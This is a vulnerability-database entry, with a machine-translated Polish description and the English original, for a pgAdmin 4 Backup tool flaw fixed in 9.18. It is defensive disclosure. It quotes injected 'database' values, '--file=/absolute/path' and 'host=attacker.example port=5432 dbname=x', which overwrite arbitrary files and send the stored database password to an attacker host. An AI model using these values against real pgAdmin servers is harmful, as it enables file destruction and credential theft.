Wysoki Odebrany

CVE-2026-86864

opublikowano: 17.09.2026, 18:18

modyfikacja: 17.09.2026, 19:16

Ocena CVSS

8.7

Wysoki · v4.0

Oficjalne źródła

wektor: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

>_ Opis

Tłumaczenie automatyczne – może zawierać nieścisłości.

Narzędzie Backup pgAdmin 4 dodało dostarczone przez klienta pole „baza danych” z żądania /backup/job/<sid>/object do wektora argumentów pg_dump jako sam końcowy argument pozycyjny, bez sprawdzania poprawności. Ponieważ pg_dump analizuje swoje opcje za pomocą getopt_long, który permutuje argumenty, wartość rozpoczynająca się od myślnika była interpretowana jako opcja, a nie jako nazwa bazy danych. Wartość taka jak --file=/absolute/path zastępuje zatem ograniczony do przechowywania plik --file, który wcześniej skonstruował pgAdmin, powodując, że pg_dump zapisuje swoje dane wyjściowe w dowolnym miejscu, w którym proces pgAdmin może zapisać, poza katalogiem przechowywania Menedżera plików użytkownika. Powoduje to utworzenie dowolnego pliku i nadpisanie go jako konta systemu operacyjnego z uruchomionym pgAdmin, co może zniszczyć własną bazę danych konfiguracji pgAdmin i, w zależności od wybranego celu, zostać eskalowane dalej.

To samo pole dodatkowo umożliwiało wstrzyknięcie ciągu połączenia. Libpq rozszerza nazwę bazy danych zawierającą znak równości do pełnego ciągu połączenia, a osadzone w niej słowa kluczowe zastępują --host i --port przekazywane przez pgAdmin, więc wartość taka jak „host=atakujący.przykładowy port=5432 nazwa_bazy_danych=x” przekierowuje pg_dump na serwer wybrany przez atakującego. Ponieważ pgAdmin eksportuje odszyfrowane przechowywane hasło bazy danych do zmiennej środowiskowej PGPASSWORD przed uruchomieniem narzędzia, przekierowane połączenie przenosi te dane uwierzytelniające do punktu końcowego wyznaczonego przez osobę atakującą. Obydwa zachowania są dostępne dla każdego uwierzytelnionego użytkownika posiadającego uprawnienie Tools_backup, które jest nadawane domyślnej roli Użytkownika.

Poprawka całkowicie zatrzymuje przekazywanie nazwy bazy danych przez wektor argumentów i dostarcza ją w zmiennej środowiskowej PGDATABASE, która libpq traktuje jako dosłowną nazwę bazy danych i nigdy nie jest rozwijana jako ciąg połączenia. Jest to zgodne z podejściem stosowanym już w narzędziu Import/Eksport. Testy regresji potwierdzają, że w skonstruowanym wektorze argumentów nie ma nazwy bazy danych i że PGDATABASE zawiera dokładnie żądaną wartość.

Ten problem dotyczy pgAdmin 4: od wprowadzenia końcowego argumentu pozycyjnej bazy danych w narzędziu Backup przed wersją 9.18.

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further.

The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role.

The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value.

This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

>_ Słabości (CWE)

CWE-22 CWE-88

>_ Referencje

https://github.com/pgadmin-org/pgadmin4/issues/10384

Dane podatności pochodzą z oficjalnych źródeł (CVE® List / NVD). Opisy po polsku są tłumaczone automatycznie i mogą zawierać nieścisłości – na stronie rekordu można wyświetlić wersję angielską.

This product uses the NVD API but is not endorsed or certified by the NVD.

CVE Usage: MITRE hereby grants you a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Common Vulnerabilities and Exposures (CVE®). Any copy you make for such purposes is authorized provided that you reproduce MITRE's copyright designation and this license in any such copy. ALL DOCUMENTS AND THE INFORMATION CONTAINED THEREIN PROVIDED BY MITRE ARE PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND.

NVD Terms of Use / CVE® Terms of Use / nvd.nist.gov / cve.org

<< baza_cve